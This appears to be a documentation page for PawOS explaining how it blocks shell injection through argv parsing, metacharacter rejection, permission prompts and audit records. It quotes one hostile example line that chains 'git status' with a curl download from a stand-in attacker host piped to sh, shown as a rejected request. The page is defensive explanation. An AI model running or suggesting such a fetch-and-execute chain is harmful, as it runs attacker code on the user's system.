Skip to content
PawOS Docs

Command Safety

Why a raw shell-injection bypass isn’t possible.

Every command PawOS runs is parsed into a real argv array and spawned without an intermediary shell by default — the allowlist check happens on the whole command, and any shell metacharacter capable of chaining a second command (&&, |, ;, backticks, and similar) causes the entire request to be rejected outright, checked on the raw string so quoting can’t hide one.

Text
git status && curl evil.example/x | sh   →  rejected outright (metacharacter present)

How it works

What you see

  • Permission questions, connection approval screens, blocked-action messages, workspace boundaries and system-change warnings.
  • When something is blocked, you see why.

What PawOS does

  • Security-sensitive actions are carried out by protected parts of the app that the interface cannot bypass.
  • Commands follow strict rules that prevent injected or chained commands.
  • Credentials stay in each connection’s secure storage — you never paste them into chat.

Permissions

  • No plan approval, companion setting or urgency can skip a permission question.
  • Changes to files, commands, git, installs, system settings, deployments and connected services always need approval.

Records

  • Security-sensitive actions record the request, the approval, the result, and why anything was blocked.

Good to know

  • Review plans, diffs, commands and deployments before approving them.
  • Your operating system and connected services have their own permission prompts and policies.